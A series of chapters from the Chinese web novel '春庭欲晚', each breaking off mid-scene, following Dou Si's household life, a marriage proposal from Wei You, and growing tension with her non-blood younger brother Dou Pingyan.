纱幔黯淡,窦姀瞧着他并不太能看见的脸,打趣儿道:“你这醒的可真凑时,再晚些就见不到我了。天快黑了,我也要回去啦。” 说着帮他掖好被褥,窦姀已经站起身。 窦平宴一顿,忽然道:“那阿姐明日还会再来么?” “会。只要我在,我就会来。”窦姀无比确切地跟他说完,最后再看了眼弟弟,悄步从房中离开了。 ...... 窦姀心头有件事想问春莺,格外急着回去。 院子里只有两个人,苗婆子在带芝兰捡槐花干。窦姀快步过去,问她们有没有看到春莺。 苗巧凤想起来,率先放下手里的簸箕说道:“我前一会儿瞧见她揣了好多首饰出去,什么簪子钗子镯子都有,急着求小荣哥带她出府,好像说什么妹妹要被爹娘卖到妓院去儿。我瞧她那模样,急得要哭了!应该是拿钱赶回去救人...” 窦姀听了一愣,这事春莺倒是从没告诉她。她又问:“那小荣哥带她出去了吗?” “出了!”苗婆子笑道:“那么多钱,我瞧这回怎么着也能把人赎回了!姑娘真是太好心,竟给了她那么多。” 那不是她给的。窦姀在心里轻轻地摇头。 等到第二日清早,窦姀还没看见春莺的影子,便打发芝兰去小荣哥那儿问了问。 这小荣哥是昌叔手底下一得力干将。虽是个小厮,却是头脑机灵。 窦姀偶尔听春莺讲起过,他因着常年跟昌叔外出采买的缘故,自个儿也偷偷做点府内府外的营生。譬如有哪个小丫鬟想买胭脂水粉,或是想卖点什么东西到当铺,都得托他的手。自然,他也须从中敛点钱财。 没过一会儿芝兰回来了。 她说小荣哥告诉自己,春莺已经把妹妹赎回家了,现儿就是得再安排安排,起码后日才能回来。要是姑娘急着要人,他就再去催催,亲自把人提回。 窦姀摇了摇头,“罢了,不必去叫。咱这院里也没什么事,不急的。” “姑娘,还有一消息。” 芝兰接着说道,“奴回来路上还碰见大娘子跟前一红人姐姐。她打发奴跟姑娘说,要姑娘拾掇拾掇,午后便到正门去候马车,一家人要出门。好像是昨儿魏家来人送定帖,他们对这门亲事很满意,今儿午后在东园设宴,要两家人到齐见一面......” 昨儿的事却现在才通知她,窦姀很清楚,其实大娘子也很纠结要不要带自己去。 毕竟这回设宴一见后,亲事也该落定,而后便是下定礼、聘礼、择吉、迎亲,所以这趟要带全一家人去。 而她如今却是以表姑娘的身份寄养在窦家,属实会让云如珍纠结,该不该算在这“一家”中。 而云氏最后竟决定带上自己,也让窦姀实属意外。 ...... 窦姀本以为是弟弟说服大娘子,大娘子才会把自己带来。直到她上了马车,才知道原来窦平宴并没有来,还在家中养病,也根本不知晓此事。 这回与窦姀同乘一辆马车的是窦云湘,此事是云湘告诉她的。 窦云湘是府里的二姑娘,也是窦姀从前的二姐。 云湘是兰姨娘所生,而兰姨娘却是最得主君宠爱的姨娘。若说主君待大娘子是敬重、是夫妻之宜,那待兰姨娘却是男女之爱,放在心尖尖宠的。因此,云湘也十分得主君喜爱。 窦云湘随了兰氏,生得极美,水灵可人。 她其实与云筝一般年纪,今年都十七。云湘生得美,上门求亲的人家自然不在少数,却大多都被主君一一拒了去,原因是瞧不上。几个女儿中他最偏宠云湘,总觉得该再看看,再挑挑,不该稀里糊涂就把云湘的终身大事给定了。 因此连云筝都已相看好人家时,云湘却没有。 现在正主就坐在跟前,窦姀忍不住拿眼睛多瞧两眼。 瞧过了瘾,窦姀才想起有一事,正巧便拿来问道:“二姐姐,近日春莺多得了些首饰,我瞧着实在精致,可是你送的?” “是呀,是我送的。” 窦云湘捋了下鬓发,便笑道:“有一回我出门,撞见你那丫鬟在哭,哭得真真是可怜。于是我便问了她,知道她那妹妹的事后,就给了能赎身的财物。妹妹你竟不知这事么?” 窦姀摇了摇头,只替春莺谢道,“二姐姐真是菩萨心肠。” 窦云湘,是全家上下,无论是仆婢婆子,还是小厮,甚至是连面都没见过的粗使丫头,也都夸她的心肠好。而她自己好听这一口,因此对窦姀夸赞的话十分受用。 窦家的马车在东园前停下。 东园是魏通判自己家私有的园子,修建在一处景色秀美的僻静地带。此处临着湖,草木繁茂。若是春日来,还能见到湖堤边白沙绿树,杨柳扶腰,可惜如今深秋已至。 虽是深秋,景儿倒也不赖。窦姀一从杌子下来,脚便踩上满地的金黄叶。秋风一吹,又有不少叶子盘旋而落,给整个东园渡了层金。 “欸,这湖上还有画舫呢!” 随着云筝一声笑,大家的目光纷纷往湖心看去,果然看见一艘船舫正徐徐朝岸边划来。再近了...再近了...逐渐能瞧见船上在招手的人,正是魏大娘子等人。 船靠了岸,魏大娘子由着仆婢们掺和下来,笑着与云如珍寒暄起来。 跟在魏大娘子身后的,还有两位青衫男子,看着既年轻,举止打扮也不俗,应是魏氏的几位郎君。 那些人便聚在前头说着话,热热闹闹的。 窦云湘本来是陪在窦姀身边,两人刚还说要进园子里逛逛呢。也不知云湘往前头瞧见了什么,忽 12. 求娶 《春庭欲晚》全本免费阅读 “谁能知晓你竟是窦家的人呢?” 魏攸抬眼看了看这漫天的云,若有所思的:“你当日为何会独自住在客栈中?若是外出,身边也不该连个丫头仆妇都没带......” 这话问到了要命处,窦姀一绷,不知该如何作答。 不过他看上去倒也没强求她说,因为窦姀沉默没多久,他便轻轻笑了笑,放低了声量自说自话起来: “上回在窦府见到你,他们说你是寄养在家的表姑娘,回去后我便对初遇你的事百思不得其解。后来我找人打听了下,才知道前不久窦家闹出过人命案子,好像是府上的姨娘杀了人,官府都查到头上了。因令尊是知州大人,此事还是衙门的县太爷陈康借着拜访的缘由亲自上门......” 话到此处倏然一停,“你知晓那姨娘背负的是哪条人命么?” 窦姀汗毛竖起,强忍着镇定摇头。 “是县太爷的宝贝外甥。” “后来,听说那姨娘逃了,还挟着女儿逃命。可惜她女儿便是逃命时掉江里淹死的。”魏攸忽然开始打量起她,半猜半问:“小娘子是否就是他们口中...掉江溺亡的窦四姑娘?我们初见那日,正巧是事发的隔日......” 窦姀脸色微凝,堪堪往后退了两步,立即否认道:“我不是,你以为的错了。” 她不欲跟魏攸再说这些。 这些本不足为外人道也,若暴露也不知会不会惹祸上身。 窦姀刚转身要走,忽然衣袖被人一拉。她转头瞪去,那人立马愧疚松了手,轻道一声“冒犯了”。他似乎不想她走,又迅速说道:“小娘子!你手里既已有我的身世,也便知拿捏了我的软肋,我无论如何都不会往外说的!我求你、信我。” 窦姀说“好”,仍旧往回走。身后突然传来一道急促的声音:“你不信我么?” 她脚步顿住,缓缓转身,终于看向他:“我信。” 其实他还有些知晓的事并没有说出来,譬如那姨娘是因何缘由杀了人,以及明明有一双儿女,逃命为何只带走了女儿。 这些他都知晓,也是这一刻他才突然明白过来,先前她那句“我们其实是一样的人”究竟是什么意思。 相近的身世,相近地被人抛弃。 只见魏攸松口气,跟了上来,维持着两人不远不近的距离。 他没有再说别的,而是问道:“这些时日你在家中过得好么?” 窦姀说还好,“以前怎么过的,如今依旧怎么过。” 魏攸却不信,下人仆婢都是看上头那位的脸色,怎么可能还回到从前呢。像他这种身世不为外人知情的,旁人只知道他爹把他赶出去,却不知为的什么,至少他还是魏氏一族的儿郎。而她却大大不同...... 风,从桃心湖拂过,拂起了圈圈涟漪,拂起了岸堤白沙...林木窸窣,犹见夏末最后一点蝉鸣。二人话到尽头,皆是一时无言,就这么静默而立,听着秋风凉爽的飒气。 窦姀垂下了眼眸,指尖圈着衣角,还在想如何告辞既不突兀,又能显得和平友善。忽然他先开了口:“你要不要,嫁给我?” 窦姀被这话给吓着了,下意识地后退。胸口骇浪下只觉得荒唐不已,蹙眉看去。 他们才认识多久?加上今日,拢共也才见过三回。他为何会这样说......? “我知这话突然,吓着小娘子了。”魏攸致歉地笑笑,“其实我有这般念头,也不是此时突然冒出的。在上一回我到贵府做客,见过窦三姑娘后,便知她与我不是脾性相投之人。若来日结为夫妇,恐也龃龉不少。想必小娘子远比我更清楚,她性情......”他稍顿了下,“略为急躁。” “这话魏郎还是勿要再说了。即便不是云筝,我也不合适。” 窦姀眉头仍是凝着,匆匆别开了眼,转过身不再看他。 心潮难平,她能听见自己轰轰的心声。其实也不是讨厌魏攸,他高大英俊,举止有礼,与她又是如此相似的身世,自有一股天涯沦落的熟悉感。她只是觉得太奇怪了,家中的亲事怎能是他想定就定,想退便退的呢? 魏攸似乎知晓她在忧虑什么,摸了摸耳朵,连忙道:“我也不是要你现在想好!我只是想告诉你,大小定还未过,这门亲事算不得议好......我爹想与你们家定亲,你只需知晓,比起三姑娘,我想那人是你会好些。我硬骨,若坚定不肯娶窦三,我爹也强来不了,况且,他现在也怕了我。至于这其中迂回如何,你便不用操心了——” 窦姀听他一口气地说完,还没来得及细想,手心忽然多了只玉佩,是他塞来的。他只留下一句话就走了。 ...... 宴散后,窦姀坐在回程的马车上,不断想过魏攸最后的那句话——“你若对我也有意,下回再相见时告诉我就是...” 下回。 还能下回再见到么? 她此刻仍觉得东园中那一切如梦似幻,好不真切。一个救过却认识不久的人忽然说,想娶自己。而上一刻,他还是要跟云筝议亲之人。 后来整个游宴中,魏攸就再没出现过。魏氏的人为了寻他,就差把东园翻了遍。也不知他不出现,这亲事是定下没定? 马车到家时天已经很黑了,约莫至少也是亥正了。 窦姀随着众人进府,迈过垂花门之时,听到大娘子正打发一个小丫头,去看看宴哥儿的身子如何了。她这才想起自己忘了——昨儿明明答应过弟弟,今日还会来看他的。 不知现在去还来不来得及。 窦姀没有立马回梨香院,而是绕了道,跟在那小丫头身后进了玉京园。 她在屋外等了会儿,等到小丫头从弟弟屋里一离开,立马闪身进去。 比起昨儿,今日屋里的药味已经淡了许多,屋里也点了烛火。窦姀进来时,窦平宴早已醒来,正坐着翻看书卷,认真而专注。听到有人进屋时,眼皮轻轻一抬,见着是她,方才笑了笑:“阿姐怎么现在才来。” 话音里有轻怨,却不重,被他温缓如流水的声音盖住了,“阿姐今日是去魏家的摆宴了吗?” 窦姀说是,顺势在他榻边的木凳坐下,绝口不提自己忘记的事。但这小心眼似乎被他摸透一般,只见窦平宴轻声笑了笑,“忘了便忘了罢,我又不会怪阿姐的。” “真不怪我么?”窦姀倒是起了戏弄之心,偏头,手 13. 玉珏 《春庭欲晚》全本免费阅读 “阿姐什么时候,又新认识了人?” 他的语气虽说是淡,却有种让人捉摸不透的意味。若说询问,可目光却盯得她莫名紧张;若说质问,可她到底也没做错什么事,不应该。 这件事窦姀原本想暂时不说。 眼见是藏不住了,她倒也没想刻意瞒着弟弟。弟弟知晓了,或许还能为她分析利弊。窦姀略微思索了下,便告诉了他来由经过。 怎么救下的魏攸,又是怎么在窦府碰见,以及今日魏攸说的话...她全都简略概括一通,唯一隐去的,便是魏攸的身世和云筝与自己的冲突。 他听着,似乎稍稍讶了下魏攸竟是巷子那人。而后眉头却愈凝愈深,末了,窦平宴忽又抬起眼,警惕地问:“那阿姐对他有意么?想嫁给他么?” 窦姀摇头:“怎么会。我和他还不是很熟,怎可如此轻易就定下终身大事...况且,我的亲事,也不是我能定的。” 这事便是用脚趾想也知道,有多么奇怪,有多不可能。 窦平宴听她说完,显然松了口气。他笑笑把人拉到床上,又将玉佩塞进了她怀里:“那阿姐下回再见到,便将这东西还给他。咱收着总不妥,如此一来,也好断了他一些不切实际的念想。” 窦姀说好,接着便听他哼了声:“魏氏若还想继续娶三姐,便该拿出点诚心,哪能由他这么胡闹?况且我们家倒也不缺这门亲事。” 二人坐得很近,他还拉着她的手腕没放,说话的热气就在耳边。 窦姀听这话颇含了点怒意,心中却划过一丝不明显的忧思。这话好像是在为云筝打抱不平,是呀,她是他的姐姐,云筝自然也是他的姐姐。以前他和她更亲近些,可是现在他已经知晓她算不得他亲姐姐,两人之间也没了血脉相连,那么往后会不会逐渐地偏向云筝呢? 窦姀知道自己这么想十分自私。可她就是忍不住这样想,两人总角同檐了十余载,除了姨娘,弟弟就是她最在乎的人了。 她不露声色地点头,收好玉佩。二人正说话之间,小年进来了,手里托着一匣子,很高兴地跟窦平宴说:“二爷要的东西寻来了!” 小年递过来,边是气喘吁吁地说:“等了一年可算好了!刚在庙里焚香供奉完,伙计就马不停蹄地带回来。二爷瞧瞧,这刻得可是一模一样?” 窦姀本来没去留心,见窦平宴端着匣子细细打量,突然也好奇地凑上前一瞧。 不瞧不知,一瞧倒是吓一跳,只见那是一块如意纹的玉珏,莹润的色泽随着光影流淌进他的掌心。 这不正是当初他给她的那块? 窦姀瞧着一时恍惚,竟是问道:“它怎么在你这儿?” “什么在我这儿?”窦平宴把玉珏放回匣内,笑着瞥向她:“这我托人跑去观音山,照你那样式又刻的一块罢了。珏始终缺个口子,左王右玉,这本就是该合在一起的两块玉。我听人说此玉通灵,若是合在一块,那福分也是成双的。少一块终究少了点寓意,所以我又去求了一块,与阿姐的做配。” 说罢却问她:“难道阿姐觉得福分多些不好么?” 窦姀接过匣里的玉珏一看,发现还是有点不同的。虽然一模一样,可细细观察下便能知道,这块玉珏很新,而她那块常年带在身边,少不了有些斑驳的痕纹。 窦姀听这说法很是新奇,又问弟弟:“若是分开呢?分开会怎样?” 他笑了笑:“一块赐福,一块挡灾。阿姐那块是父亲当年求福要的。” “呸呸呸!什么福什么灾!”窦姀一听,急忙扑过去捂住他的嘴:“你又谁家妖道,竟敢在这儿妖言惑众?” 他只笑,眼眸明亮而闪烁。好一会儿后才拿开她的手,认真说道:“所以阿姐可不要丢了,否则我都不知要为谁卖命去。” 窦姀莫名的心虚,因为...她好像真的弄丢了。 她没将这事告诉窦平宴。回去之后,又打着灯笼仔仔细细地找,就在她翻床底时,屋外忽然响起春莺的声音:“姑娘,奴婢回来了。” 窦姀去开门,也不知是不是晚上光线不好的缘故,春莺的脸色很是黯淡,人瞧着也疲惫,似是着急赶着回来。 她让春莺先进屋,吃了热茶和几块清早留下的糕点,等到春莺填饱了肚,窦姀才问道:“你家中的事都好了吗?你妹妹可赎回来了?” 春莺点点头。 屋里点的烛灯并不多,昏昏的光影落到春莺乌黑的双髻。她始终耷拉又局促地站着,没有抬过头,这和往日胆大话多的人很不一样。 窦姀也不清楚春莺是什么个情形,默了会儿说:“有一事我一直想问你,可是你不在......” 这话说完,春莺的身子似乎在颤,头垂得更低了。 窦姀想了想,问道:“魏氏来的那日,有人曾撞见你从扶风院出来,还拿了二姑娘一匣子的首饰,可你为何告诉我,你在藕香亭待了一下午?” “奴婢不是有心欺瞒姑娘的。”她的声音很低很低,“那时奴的手头很紧,又没有大把的钱能赎妹妹...二姑娘说,她有几支不想要的簪子,正巧能赏给奴......” 春莺说完,已经扑通跪到了地上,泪眼潸潸,似是交出了命听凭惩处。 “你九岁时被买来,我们相识这么些年,遇上难事为何不找我说?若是钱财,我也能助你的。” 窦姀不再说话了,也没作惩处,摆了摆手只让她回去休息。春莺终于抬起脸,扑上前抱住她的腿,呜呜咽咽哭道:“姑娘,这是最后一回,奴日后一定只听姑娘的话,唯姑娘马首是瞻......” 春莺跟姨娘其实是一样出身的人,都是被卖到窦家的。 只不过姨娘美艳貌美,被窦洪看上才纳了做妾。窦姀知道她家里的事,也知晓春莺如今不过十四,比自己还小,身上要钱没钱,要蛮力也没蛮力,只靠着在窦府为奴做婢存些体己钱。她不欲为难,只是让春莺回去睡了。 后来又过了好些日,寒 14. 动心 《春庭欲晚》全本免费阅读 等到了围炉家宴这日,清早陆陆续续便有人开始登门造访。 往常的围炉家宴,除了窦洪与云如珍会在正院待客外,子辈们也须打扮的齐整标致去见客。但今年...即便主君和大娘子没提,窦姀也有自知之明,没再往正院去了。 她本来打算在小院子里从早待到晚,搬个小火炉,与苗婆子、春莺、芝兰在一块吃点热茶和点心,节便这样过了。谁知晌午时分,窦平宴忽然来了。 他来的时候,院里正飘着橘子的香甜味儿,春莺与苗氏三人围坐火炉前,一边烧茶,一边有说有笑。她们在火炉上搭了个铁架,圆胖的橘儿像方阵似的摆放齐整,被火苗烤得熏黑。 先是春莺注意到了人。 她立马站起,甜腻腻地笑道“二爷来了”,苗婆子和芝兰随后慌乱起身。 相比起春莺,她们跟二爷都没有那么熟。尤其芝兰,她是新来的,见春莺竟能如此轻快地与二爷说话,魂都要吓飞了。 “二爷有些天没来,大家伙儿心里都念得紧呢。”春莺攥了手指,笑着说:“您前不久才病,都担心这身子又是被病耽搁了去......” 窦平宴这趟刚从正院会客回来,身上还是清早云氏收拾出来的那身藏青色弹花圆袍,青龙玉为簪,外披白绒斗篷。 他站在日头下,一改数日的病态,勾起唇微微笑道:“什么又被病耽搁去?你这莫要咒我呢。我前不久是病了,但后面几日,却是去白鹿书院转了转,才未归家。” 春莺拍拍心口子:“还好还好,二爷不回来,奴们也不知情,真真是惊煞了。” “哦?是么?”窦平宴听着反倒有些高兴,微微朝后头院子示意了下,“我这几日没回来,阿姐也这样担心吗?” 春莺说:“是呢,姑娘还因此去问了大娘子和昌叔,生怕您出什么事儿。” 窦平宴立马便笑道:“你们先吃着罢,我去后院寻她。” ... 冬日晴光尚好,窦姀正在躺椅上暖洋洋地晒日头。阳光温暖和煦,晒着晒着,不知何时已然小睡过去。 满目扫去,残雪的屋檐,晴阳高照,一切显得静谧又安然。 窦平宴从里屋搬了条凳子出来,陪坐于她的身侧。 他本来有许多话想说,见人睡得正香,腹中的事倒是随着阳光消散殆尽。窦平宴垂眸看着她白净的小脸,从怀中抽出一块纱绢,轻轻覆上。 道是人生天地之间,若白驹过隙,忽然而已。 也不知是多久过去,春莺忽然来到后院。 彼时窦姀还在躺椅上睡着,他倒是悠闲坐于一旁,似乎无所事事。 春莺本是来通传事的,眼珠一动,忽然瞥见二人拉在一块的手......心下大惊,有一瞬竟觉得奇怪不已。可他二人亲厚也不是一日两日的事了,春莺一摸脑袋,只好惊叹二爷待姑娘真真是有心。又想着此处如此安静,就这么冒然过去,万一扰到二爷... 最后她琢磨了下,便打算去前院找芝兰,打发别人传话。 芝兰和苗巧凤还在火架边烤橘子。 苗巧凤在主家做活儿久,辈分大,老说吃过的面线比小丫头走的路还长。 芝兰在一边乖乖听教,苗巧凤便咧着大嘴,胡天胡地说起旧事奇闻。一会儿又大笑起来:“别说我认识多少人,见过多少世面儿,便是当年你爹如何娶的你娘,我都知晓哩!” 苗巧凤刚笑完,忽然心眼一糟,说坏了话!她真想给自己掴两嘴巴子,这小丫头的娘才刚死,真是脑子进水了竟提起这些!非得往人痛处踩去,没得惹人伤心! 苗巧凤不自觉的闭了声,小心翼翼地看向芝兰。却发觉芝兰的神色倒是平静,甚至还努力地摇头,反过来宽慰她:“没事的大娘,娘的死我早就释怀了。您跟我说说,我阿爹是怎么娶的阿娘,我想听......” “这嘛......”瞧着芝兰乞求的样子,苗巧凤努努嘴,刚想说话,春莺就来了。 “我一不在,你俩倒是讲起什么趣事儿?”春莺笑笑,打断了二人,又拍芝兰的肩嘱咐道:“主君的人寻来了,二爷与姑娘正在后院呢,你去知会一声。” 芝兰还没站起,先奇怪道:“姐姐方才不是已经去过后院了吗?” 春莺打笑地推了把芝兰的肩:“快起来,给你懒得!叫你去你就去,小小丫头哪来那么多话儿呢!” 芝兰早已见怪不怪了,只能无奈地站起。 本来以为春莺就够怪了,不料走到后院,竟还瞧见二人拉着的手......芝兰吓了一跳,她刚来窦家做事时便有听闻二爷与姀姑娘姐弟情深。原先觉得无非那样,她在扶风院伺候过,见过二爷对湘二姑娘也很好。 可如今一瞧,好像又不同了。回想起一些事,二爷对姀姑娘算得上十分依赖。 “难怪春莺要叫我来...”芝兰心中不满地腹诽,却只能无奈走到二人跟前。 芝兰过来时,那手还是拉在一块的,窦平宴即便知道有人,也似乎毫不在意。只是静静听人说完了话,起身时才终于松了手,往前院去。 ...... 许是昨夜失眠,一夜未睡的缘故,窦姀这一觉睡得很安详,直到太阳落山才醒来。 她醒来时,发觉脸上竟覆着一块纱绢。窦姀细细嗅了下,有白芷的香味,才知道原来弟弟来过。 她收好纱绢,伸了伸酸痛的腰背,正嘟囔这躺椅真不是适合小憩的地儿,春莺便揣着两颗橘子跑来,笑道:“姑娘正好醒来,奴瞧这日头也没了,正想来叫您呢。苗婆子烤东西有一手,把这橘子烘得香脆,姑娘可要尝尝?” 窦姀说好,接过剥皮吃了,果然香甜。春莺又说道:“方才小年上门,要奴知会姑娘一声,过会儿魏家的人就要来了,要姑娘把该还的东西还掉。” 说罢,春莺又心奇地问道:“姑娘拿了魏家什么东西该还呀?奴怎么不记得,是不是小年传错话了?” 她看了眼春莺,若有所思的,随后只是淡笑道:“噢,你那时不在,我衣裳不慎被茶水打湿,便找魏大娘子借了身。” 春莺笑道:“原来如此。那姑娘把衣裳放哪儿去了?奴婢去寻来,一会儿陪姑娘送去!” “就在......” 窦姀还真装模作样地想了想,一根指头正要比划方向,又立马收回来:“噢不行,我想起一事,还是让芝兰陪我去吧。过会儿你得去药房拿药回来,药房的婆子欺软怕硬,要是芝兰那丫头去,铁定拿不全,你去我才放心呢。” 窦姀这么说,春莺倒还更高兴了,吐了句“芝兰是太胆小”后,欢欢喜喜地跑开了。 春莺一走,窦姀便也收拾了下。瞧着过会儿就要天黑了,于是叫上芝兰,多带了一盏灯笼走。 ...... 窦姀不想直接进正院,于是躲在游廊边往里瞧了瞧。见院子里只有主君和大娘子几个人,便打算寻个隐蔽处先躲躲。 她刚带芝兰走出长廊,忽然胳膊被人拉住。 窦姀转头,夜色中借着灯笼光一照,此人是窦平彰,她一母所出的亲哥哥。 窦平彰今年二十一,纳过一房小妾,早已迁出梨香院住了。 同在一府,窦姀自从回来就没再见过他。虽是亲兄妹,他俩却并不亲近,没想到今日在这儿碰上了。 窦平彰嘘了声,悄悄拉着她走出游廊,拐进一处石屏后,芝兰也随在其后。 等到这附近没什么下人 15. 生恼 《春庭欲晚》全本免费阅读 这种感觉是什么?窦姀觉得很难说清。 魏攸走了后,她本是该回梨香院的,却在半路折了回来。芝兰提着灯笼一头雾水,窦姀忽而笑问她:“你想看出热闹的戏吗?” ... 两个人重新绕回去,躲在正院游廊外的柱身后。窦姀告诉芝兰不要出声,今日的事回去也不能告诉任何人。 芝兰乖乖点头了。 窦姀手一比划,指向正院庭中。 只见正中摆放着火炉与宴饮茶器,茶烟缭缭。窦洪与云氏坐上首,魏父坐围炉的右侧,魏攸则站在他父亲身后。仆婢们都被屏退了去,只留下少数几人。 魏攸被其父瞥了眼后,便走到云筝跟前。 云筝在一旁闷闷不乐地剥橘子,知道他过来,也不留神一眼。魏攸朝她躬身,拱手而礼道:“上回议亲都是我不好,是我思虑不周,草率鲁莽,耽搁了大家的功夫。今日特来,是诚心携礼向筝妹妹赔罪!筝妹妹便是骂我、打我都好,可万万要出了这口气!” 窦云筝看也不看,冷哼一声:“谁是你筝妹妹?” 魏攸见事不妙,下意识地回头看向父亲。 那魏父则恶狠狠瞪了眼他,随后便起身,朝窦洪笑眯眯拱礼道:“此事实乃我家这个混账的过错,不愿议亲也不知早两日说,还赶在大小定前,这不让我们这些长辈瞎忙活吗?我和内人都知晓,这筝三姑娘是真真的好,相貌出众、蕙质兰心,可惜这混账......!” 他猛地指向魏攸,尤为气恼地叹息:“我们夫妇俩真是恨啊,虽投眼缘,可竟与三姑娘没这缘分!” 三言两语的话,魏父便将错处从自家身上摘去不少。 是呀,只是议亲不成,又不是退婚,况且连定礼、聘礼都没下,也就两方相看了一眼,这算哪门子的定亲?但又说得极其诚恳衷心,好像就在告诉他们,亲事虽不成,但两家仁义仍在,日后认个妹妹也还是好的。 窦洪不置一词,而是先看向云筝:“筝姐儿,你是如何想的?” 云筝茫然地望着父亲:“爹爹......” 窦洪叹下一口气:“这事说到底,还是与你干系最大,你若能想开就再好不过。你若不能,爹爹再另作打算。” 放下,便意味着要接受魏家的赔礼,此事就这样算了。 窦云筝望向魏攸——这样俊俏识礼的郎君,确实是自己心慕之人。可人家不愿,她一厢情愿也嫁不了。 云筝很想就这样摆摆手,说算了,也显得自己大度,不落下风。 可是她想起出门前,姨娘还特特嘱咐过:本来被魏家拒了亲事就够丢人的,你可知扶风院那笑你多久了?哼,主君心里只有兰氏那贱人的两个女儿,本就没你,你这以后亲事如何,他哪会在乎的了那么多,什么苦最后不都还得你自个儿吃?你大度,那是为他博名声!若你真要这么轻拿轻放,那咱们可是吃尽了亏! 窦云筝想起这话,一扭头,对魏攸哼了声:“魏郎君真是将我们玩弄于鼓掌之中!” 这本就是自己的过错,云筝会如何气恼,他早就预想好了。 魏攸依旧诚恳地低下头:“一切皆因由我,某愿听凭妹妹处置。” 他一切都认,倒是让云筝开始心软。 云筝很纠结,不知该这么办时只好抬头,看向云如珍身后的姨娘。她见姨娘眉头紧锁,眼睛紧紧瞪住自己,显然是表明不要轻轻放下。 窦云筝沉思过后,就问魏攸:“你不想要这门亲事,是不是心里已经有中意的人了?” 窥听到这儿时,窦姀气息一滞,好像踩浮板一样没底。她以为魏攸就算有也不会说的,毕竟没有人愿意给自己招麻烦。 可是他却点头承认了。 窦云筝蓦地一下站起,眼睛泛红,望向他:“怎么会这样?到底是哪家的!” 不待魏攸有何反应,窦洪已经出声喝斥:“筝儿!休要多问!” ...... 窦姀躲在廊下看这一切,明明不干自个儿的事,却五感纷纭。她的指尖在攥弄帕子,不知思索什么,连有人悄悄走近都没察觉。 那人抽掉了她的手绢,窦姀才讶然抬起脸,撞上窦平宴笑意盈盈的眼。她左顾右盼,芝兰已经没了踪影,四边也没什么人。他探头望了望正院庭中,很小声地问:“阿姐在这儿做什么呢?” 窦姀刚要开口,他已经悄然拉上她的手,往外走,“这里不是说话的地。” 出了正院的游廊,二人的方向似乎是回去的路。 她心里不知怎么,总有种事没做完,意犹未尽的感觉,走路也老是盯着足尖。脑袋空空不知所想,身边的人却在说道:“阿姐真是让我好找,你可知我还去了趟你院里,没瞧见你人吗?” 窦姀抬头看他,突然想起他午后也来过,还有块纱绢在自己这儿。于是便从袖中取出,递给弟弟。他接手后反而认真看了两眼,摸了又摸,也不知在瞧什么,满意地收入怀里。 又问她:“玉佩还回去了吗?” 她的心眼突然跳了下,头皮一紧,竟是下意识道:“还了...” 说完这句话,窦姀便有些心乱如麻。 她不知道这样跟弟弟说是不是对的?其实原先她是真的想还,可是魏攸不肯要。若说还在自己这儿,他万一又叫她去还呢?她现在已经不知要如何面对魏攸了。 是了,她是有点自己的私心,总觉得收下不是什么大错。又觉得收下它,不应该被旁人知晓。不管以后两人还有没有缘分,即便留个念想也好。 窦姀说了谎,心虚地没敢抬头,却听到弟弟称心的一笑:“那就好。” 两人走着夜路,只有他提着一盏灯。 黑暗下他的手悄悄靠过来,忽然相牵,指间并拢,一如小时候无数个日夜。但不同的是,他人长高了,手掌也变得宽大颀长。牵了手时,仍在微微发烫。 16. 诡谲 《春庭欲晚》全本免费阅读 也不知窦平宴生什么大气,竟真能生这么久。 窦姀再去堂屋找他时,他也不搭理。凉凉地瞥她一眼,继而冷哼一声,晾着人。 她大抵知晓他是为什么生气的。 本来也就两句玩笑,窦姀没放心上。心里一笑,便端起桌上的茶,装模做样地轻嗅,偏偏还赞道:“好香的茶呀,这是白毫银针罢?春莺可真舍得,我去年给的,她自个儿不喝,倒是拿出来孝敬二爷您。” 窦平宴还是没吭声,甚至看都没看来一眼。 此路不通。 她悄悄打量两眼,只好放下茶盏。眼珠一动,又想到一计,便过去捏他下巴,嘻嘻笑道:“你哪儿那么大气劲呢,如今我哄也不成了?” 闻言,他终于横来一眼,眉眼清冷:“你哄了么?” “现在就哄呢...” 窦姀垂眸拉起他的手。就在明显听到气息紊乱时,一盏热茶落到他的手心。她弯下腰看着他,吟吟问:“好弟弟,吃了茶便消消气可好?” 窦平宴冷冷放下茶盏,对这哄法似乎不是很如意。他仍旧坐炕上,不置一声。 就在窦姀寻思这还不成时,手腕忽然被人一拽。没来得及惊呼,人早已重心不在,稳稳当当栽进他胸口里。 那是一处微烫的胸膛,混着白芷香。一瞬间,她满鼻满脑充盈的都是这种味儿。窦姀恍惚了,竟是想起春梦中仙人俯身的吻,便是混着这种香味,密密麻麻如雨点落在唇边。 他的目光自然而然垂落,在她犯迷糊的脸上。 仿佛一切都静止了,桌上烛火摇曳,窗外树影婆娑,静得一点声都没,也没人吭声说话。 这样僵止不动,不知过了多久... 就在窦姀终于神游九天回来时,竟看见他缓缓低下的头,离自己的脸越来越近......越来越近......! 她吓了一跳,立马从他怀里挣出。 窦平宴被推了一把,肩头后倾。整个人都僵直着,瞧着像恍惚、但又不是,眼神似有茫然之状,只盯着她的脸看。 窦姀缓过一口气,惊疑不定,方才那是自己的错觉吗? 她拉平微皱的衣裳,突然又看向窦平宴。只见他眼皮半耷拉,倒像是垂头丧气的。 她伸手,在他眼前挥了挥。颇是不确定问道:“弟弟......你方才是不是困了?” 困得才要低下头呢? 窦平宴突然抬起眼看她,说不清是什么情绪。 好一会儿,才低声又认真问说:“吓到阿姐了吗?” 窦姀点点头。 他忽然看向别处,只好笑道:“或许吧。或许我真的困了。” 如今的天,一日比一日要冷。窦姀不知自己是冻的,还是被吓的,身子竟然有些微颤,心也跳得飞快。她把那盏白毫银针给自己喝了,现在倒是压下不少惊。 可又瞧见窦平宴这怔忪的脸色,心想莫不是方才推太狠了,给弟弟吓到了?她咬咬唇,一番盘算后,便重新坐回他旁边。 两人离得不远不近,好似那中间隔着什么,窦姀望向他,担忧劝道:“困了便回去睡吧,你这昏头转向的,多险呀......” 窦平宴不吭声,垂着眼不知在想什么,总觉得心头缺了一块。又看看窦姀,好似怔了有一会儿,才轻轻嗯了声。 后来有好几天,窦姀都没看见弟弟。 以前他总是上门找她,现在也不怎么找了。窦姀心里有种说不上来的怪异感,他是还在生气吗?还是病了呢?抑或是有事,才忙得来不了? 她无从得知,可又觉得这回不能像以前一样,再登门问大娘子。至于为什么,她也道不出,总之就是很奇怪。 有一日窦姀碰见昌叔,正好向他问起窦平宴的事。 昌叔便乐呵呵地告诉她:“二爷这几日是把自己关屋里读书呢,不是不到姑娘这儿走动,便是出门也不常。您可知他这几日为何突然这样?” 昌叔问完,一副神秘兮兮,任凭君猜的模样。 